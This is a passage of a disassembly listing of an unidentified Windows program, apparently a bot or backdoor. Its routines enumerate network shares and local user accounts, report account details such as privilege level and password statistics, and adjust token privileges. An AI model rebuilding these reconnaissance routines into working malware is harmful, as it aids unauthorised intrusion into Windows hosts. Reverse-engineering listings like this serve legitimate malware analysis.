		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390A0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389AC[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A8[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A8[eax*4]
		push	offset unk_439100
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439178
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439368
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439334
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_43969C
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439670
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27004B3h
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26509C3h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
